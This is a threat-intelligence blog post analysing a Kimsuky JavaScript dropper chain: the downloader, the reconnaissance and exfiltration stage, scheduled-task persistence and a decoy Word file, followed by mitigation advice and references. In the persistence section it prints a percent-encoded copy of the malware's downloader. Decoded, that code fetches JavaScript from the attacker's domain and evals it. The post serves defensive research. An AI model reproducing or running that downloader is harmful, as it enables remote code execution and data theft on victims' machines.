Dissecting the Infection Chain: Technical Analysis of the Kimsuky JavaScript Dropper
This blog analyzes a Kimsuky sample, how the dropper downloads additional stages, and network traffic observed within the infection chain.
Last month, our team came across a few X posts about indicators of compromise related to Kimsuky, a North Korean threat group that has been active since 2012. Kimsuky is predominantly responsible for conducting espionage operations against government entities, think tanks, and subject matter experts. The initial post that we saw contained a network IOC, a file hash, and the names of some LNK files. Security researcher @naumovax subsequently shared snippets of network traffic and a link to an Any.Run Sandbox submission. This blog analyzes the initial sample, how it downloads additional stages, and the network traffic observed within the infection chain.

Initial Sample Details

The first file observed within this intrusion chain is a JavaScript file called Themes.js. This file starts the intrusion chain by downloading an additional payload from the adversary-controlled infrastructure. The initial JavaScript file is not obfuscated, and its only purpose is to download and execute content from a website. The entire code is encapsulated within a try-catch block. The file initiates a GET request to iuh234[.]medianewsonline[.]com. to the URI /dwnkl[.]php with the parameters:
Median News is a website that allows users to create subdomains for websites or other projects. While the medianewsonline website is not inherently malicious, threat actors can create subdomains on it that can be used for malicious activity.




The initial JavaScript file initiates a GET request to an adversary-controlled infrastructure, with the computer name being passed as a parameter in the URI. The script then attempts to execute the data returned by the server.
Sample Details
Downloaded Second Stage

The server responds to the GET request with some more JavaScript code. This code consists of five functions and a try-catch block. The code attempts to collect system information, a list of running processes, and a list of files in the Users folder. Once each set of data has been collected, the code attempts to upload the command's output to the adversary-controlled domain. Once all the data has been exfiltrated, the code tries to delete any temporary files created.

The script attempts to run four commands, with three commands attempting to collect system and file information from the compromised host. The final command is used to delete temporary files that have been created (these files are used to hold the information to be exfiltrated).
The first command executed collects system information, an example of which is shown in Figure 16. The following command is used to obtain a list of all running processes on the host (Figure 17). The last reconnaissance command navigates to the C:\\Users directory and lists all the files and subdirectories within it by listing the newest files first. This command also lists the attributes for each file within that directory. An example of this is illustrated in Figure 18. After each command is executed, its results are uploaded to the C2 server. The last function changes the working directory to the %TEMP% directory and deletes any .tmp file within that directory.
Execute Command


The execute command is used to modify the registry key HKCU\\Console\\CodePage by creating the key with the value 65001. This sets the input and output encoding to UTF-8. The code then creates a file in the %TEMP%directory with a randomly generated file name. This is used to hold the content of the commands that were executed.
Upload Result


Data is exfiltrated to the URI /umprl.php?uid= with the computer name specified as a parameter. The JavaScript code then creates a file to hold the content of the data to be exfiltrated. The data is exfiltrated as part of a POST request where the request body contains the cabinet file with the exfiltrated data.
Helper Functions
Make File

The strPrefix variable is an empty string, so any newly created file will be named after the date it was made.
Read File

This function takes a file name as a parameter, opens a buffer to read the file, and then closes it.
Prepare File for Upload

All content to be exfiltrated is turned into a .cab (cabinet) file and encoded using the certutil LOLBIN.
Exfiltrated Data
Data is exfiltrated through POST requests to iuh234[.]medianewsonline[.]com/umprl[.]php?uid=. The first request exfiltrates system information, while the second one contains details about all the processes running on the system at that time. The last request includes details about files and directories within the C:\Users directory.


systeminfo

Third Stage - A Word Document

For every POST request sent by the second stage, the C2 server returns the same content. This is another JavaScript file that executes two functions. The webpage return is resized to 0 and moved off the display window in an attempt to further hide the code.

Establishing Persistence (MKSCHD Function - Make Scheduled Task)

This stage begins by calling the MKSCHD function with the string "Windows Themes Manager". This function contains hardcoded data that is URI percent-encoded data. Before the content is decoded, the JavaScript modifies the HKCU\\Console\\CodePage registry by adding an entry with the value 65001. When decoded, the data is the code outline in the initial sample.

%74%72%79%20%7B%0D%0A%09%76%61%72%20%77%6E%6B%20%3D%20%6E%65%77%20%41%63%74%69%76%65%58%4F%62%6A%65%63%74%28%27%57%53%63%72%69%70%74%2E%4E%65%74%77%6F%72%6B%27%29%3B%0D%0A%09%76%61%72%20%78%68%20%3D%20%6E%65%77%20%41%63%74%69%76%65%58%4F%62%6A%65%63%74%28%22%4D%69%63%72%6F%73%6F%66%74%2E%58%4D%4C%48%54%54%50%22%29%3B%0D%0A%09%78%68%2E%6F%70%65%6E%28%22%47%45%54%22%2C%20%22%68%74%74%70%3A%2F%2F%69%75%68%32%33%34%2E%6D%65%64%69%61%6E%65%77%73%6F%6E%6C%69%6E%65%2E%63%6F%6D%2F%64%77%6E%6B%6C%2E%70%68%70%3F%75%69%64%3D%22%2B%77%6E%6B%2E%63%6F%6D%70%75%74%65%72%4E%61%6D%65%2B%22%26%6B%65%79%3D%6B%78%22%2C%20%66%61%6C%73%65%29%3B%0D%0A%09%78%68%2E%73%65%6E%64%28%22%22%29%3B%0D%0A%09%65%76%61%6C%28%78%68%2E%72%65%73%70%6F%6E%73%65%54%65%78%74%29%3B%0D%0A%7D%0D%0A%63%61%74%63%68%20%28%65%72%72%29%20%7B%7D
The decoded content is written to a file called Themes.js, which is written to the %APPDATA%\\Microsoft\\Windows\\Themes\\Themes.js. Once the file is written to disk, a scheduled task is created that runs every minute with the task name Windows Theme Manager, which calls wscript.exe to execute the file.

OPDOM

The next function, OPDOM, is called, which takes the value E-CARD.docx as a parameter. This function contains base64 encoded data, which is saved to a file called L298306.tmp in the %Public% directory. This file is then decoded using the certutil LOLBIN, after which the temp file is deleted.

Decoding the base64 data within the function reveals that it is a Word document. Running the Word document through a sandbox reveals an empty document.


Conclusion
Analysis of the Kimsuky sample revealed two additional JavaScript files and a Word Document. Since the Word document is empty and does not run any macros in the background, it may be a lure. Moreover, as the initial access vector is unknown, we cannot say how the initial Theme.js file is delivered to the user.
Recommendations
Methods to mitigate the risks posed by malware include:
- Deploy EDR/AV solutions
- EDR or AV solutions can detect malicious process chains, anomalous activity, and suspicious files that may indicate a malware infection.
- User Education
- Users can help mitigate the risk of information-stealing malware infections by avoiding suspicious websites and using authorized software in corporate environments.
Indicators of Compromise
The table below lists network IOCs identified during our analysis.
Additional IOCs related to Kimsuky can be queried in Pulsedive using the Explore query threat=Kimsuky, and are available for export in multiple formats (CSV, STIX 2.1, JSON).
MITRE ATT&CK TTPs
References
- https://x.com/suyog41/status/1962466397612834892
- https://x.com/naumovax/status/1965055436039839952
- https://app.any.run/tasks/f19a2b0f-1c63-4b83-a743-250a6e9325a6
- https://www.virustotal.com/gui/file/596cd0d30fe035e8be1dd9d78c1f71a8fc0e2c653d1318af26c51758339ca6bd/detection
- https://bazaar.abuse.ch/sample/596cd0d30fe035e8be1dd9d78c1f71a8fc0e2c653d1318af26c51758339ca6bd
- https://github.com/pulsedive-research/resources/
